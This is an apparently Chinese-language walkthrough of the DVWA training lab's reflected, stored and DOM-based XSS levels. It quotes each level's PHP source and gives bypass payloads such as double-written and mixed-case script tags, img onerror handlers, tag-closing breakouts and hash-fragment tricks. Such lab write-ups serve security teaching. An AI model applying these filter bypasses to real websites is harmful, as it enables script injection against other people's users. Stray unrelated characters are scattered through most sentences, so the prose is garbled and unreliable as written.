XSS,全稱Cross Site Scripting真慢,即跨站腳本攻擊潮尝,某種意義上也是一種注入攻擊榕吼,是指攻擊者在頁面中注入惡意的腳本代碼,當(dāng)受害者訪問該頁面時勉失,惡意代碼會在其瀏覽器上執(zhí)行羹蚣,需要強(qiáng)調(diào)的是,XSS不僅僅限于JavaScript乱凿,還包括flash等其它腳本語言度宦。根據(jù)惡意代碼是否存儲在服務(wù)器中,XSS可以分為存儲型的XSS與反射型的XSS告匠。
DOM型的XSS由于其特殊性戈抄,常常被分為第三種,這是一種基于DOM樹的XSS后专。例如服務(wù)器端經(jīng)常使用document.boby.innerHtml等函數(shù)動態(tài)生成html頁面划鸽,如果這些函數(shù)在引用某些變量時沒有進(jìn)行過濾或檢查,就會產(chǎn)生DOM型的XSS戚哎。DOM型XSS可能是存儲型,也有可能是反射型。
反射型XSS
下面對四種級別的代碼進(jìn)行分析疏唾。
Low
源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到顿天,代碼直接引用了name參數(shù)啤握,并沒有任何的過濾與檢查,存在明顯的XSS漏洞对室。
嘗試?yán)寐┒?/p>
<script>alert(/xss/)</script>
成功彈框
Medium(中級別)
源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,這里對輸入進(jìn)行了過濾追迟,基于黑名單的思想,使用str_replace函數(shù)將輸入中的<script>刪除剿骨,這種防護(hù)機(jī)制是可以被輕松繞過的挤庇。
嘗試?yán)@過:
1.雙寫繞過
<sc<script>ript>alert(/xss/)</script>钞速,成功彈框:
2.大小寫混淆繞過
<ScRipt>alert(/xss/)</script> 成功彈框
High(高級別)
源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,High級別的代碼同樣使用黑名單過濾輸入嫡秕,preg_replace() 函數(shù)用于正則表達(dá)式的搜索和替換渴语,這使得雙寫繞過、大小寫混淆繞過(正則表達(dá)式中i表示不區(qū)分大小寫)不再有效昆咽。
雖然無法使用<script>標(biāo)簽注入XSS代碼驾凶,但是可以通過img、body等標(biāo)簽的事件或者iframe等標(biāo)簽的src注入惡意的js代碼掷酗。
嘗試?yán)茫?br>
<img src=1 onerror=alert(/xss/)>
用其他標(biāo)簽同樣也可以
Impossible
不可能 - 這個級別應(yīng)該可以抵御所有漏洞调违。它用于將易受攻擊的源代碼與安全源代碼進(jìn)行比較。
在DVWA v1.9之前泻轰,這個級別被稱為“高”技肩。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible級別的代碼使用htmlspecialchars函數(shù)把預(yù)定義的字符&浮声、”虚婿、 ’、<泳挥、>轉(zhuǎn)換為 HTML 實(shí)體然痊,防止瀏覽器將其作為HTML元素。
存儲型XSS
LOW
源代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
函數(shù)介紹
trim(string,charlist)
函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符屉符,預(yù)定義字符包括剧浸、\t、\n筑煮、\x0B辛蚊、\r以及空格,可選參數(shù)charlist支持添加額外需要刪除的字符真仲。
mysql_real_escape_string(string,connection)
函數(shù)會對字符串中的特殊符號(\x00袋马,\n,\r秸应,\虑凛,‘,“软啼,\x1a)進(jìn)行轉(zhuǎn)義桑谍。
stripslashes(string)
函數(shù)刪除字符串中的反斜杠。
可以看到祸挪,對輸入并沒有做XSS方面的過濾與檢查锣披,且存儲在數(shù)據(jù)庫中,因此這里存在明顯的存儲型XSS漏洞。
message一欄輸入<script>alert(/xss/)</script>雹仿,成功彈框:
因name一欄前端有字?jǐn)?shù)限制增热,可以抓包修改name的值為<script>alert(/name/)</script>,
我們將name的值修改為<script>alert(/name/)</script>胧辽,將message的值隨意峻仇,看是否彈框。
txtName=<script>alert(/xss/)</script>&mtxMessage=1111&btnSign=Sign Guestbook
Medium(中)
源代碼
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
函數(shù)說明
strip_tags() 函數(shù)剝?nèi)プ址械?HTML邑商、XML 以及 PHP 的標(biāo)簽摄咆,但允許使用<b>標(biāo)簽。
addslashes() 函數(shù)返回在預(yù)定義字符(單引號人断、雙引號吭从、反斜杠、NULL)之前添加反斜杠的字符串含鳞。
簡單嘗試了幾次都不行了影锈,芹务,蝉绷,
可以看到,由于對message參數(shù)使用了htmlspecialchars函數(shù)進(jìn)行編碼枣抱,因此無法再通過message參數(shù)注入XSS代碼熔吗,但是對于name參數(shù),只是簡單過濾了<script>字符串佳晶,仍然存在存儲型的XSS桅狠。
1.雙寫繞過
抓包改name參數(shù)為<sc<script>ript>alert(/xss/)</script>
2.大小寫混淆繞過
抓包改name參數(shù)為<Script>alert(/xss/)</script>
修改方法和之前一樣
High(高)
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到,這里使用正則表達(dá)式過濾了<script>標(biāo)簽轿秧,但是卻忽略了img中跌、iframe等其它危險的標(biāo)簽,因此name參數(shù)依舊存在存儲型XSS菇篡。
抓包改name參數(shù)為<img src=1 onerror=alert(1)>
到這里我們可以看到漩符,雖然是存儲型XSS,但和前面的反射性XSS驱还,利用漏洞的方法是一樣的嗜暴。
Impossible
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,通過使用htmlspecialchars函數(shù)议蟆,解決了XSS闷沥,但是要注意的是,如果htmlspecialchars函數(shù)使用不當(dāng)咐容,攻擊者就可以通過編碼的方式繞過函數(shù)進(jìn)行XSS注入舆逃,尤其是DOM型的XSS。
DOM型XSS
LOW
indexOf() 方法可返回某個指定的字符串值在字符串中首次出現(xiàn)的位置。
substring() 方法用于提取字符串中介于兩個指定下標(biāo)之間的字符路狮。
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
default=參數(shù)lang,也就是:
<option value="lang">decodeURI(lang)</option>
修改參數(shù):?default=<script>alert(/xss/)</script>
也可以通過閉合標(biāo)簽
?default=</option></select><img src=1 onerror=alert(/xss/) />
medium(中)
服務(wù)端代碼
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
stripos()函數(shù): 查找 "第二個參數(shù)" 在第一個參數(shù)中第一次出現(xiàn)的位置鸟雏。
也就是說過濾了<script
1.url中有一個字符為#,該字符后的數(shù)據(jù)不會發(fā)送到服務(wù)器端览祖,從而繞過服務(wù)端過濾
?#default=<script>alert(/xss/)</script>
2.用img孝鹊,iframe,body展蒂,svg等標(biāo)簽的特性去執(zhí)行JS代碼又活。
?default=</option></select><img src=1 onerror=alert(/xss/) />
high
服務(wù)端源代碼
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
限定了鍵名必須為default,鍵值必須為固定的4個值锰悼。
所以這里只能用#繞過服務(wù)器檢測
方法同上:
?#default=<script>alert(/xss/)</script>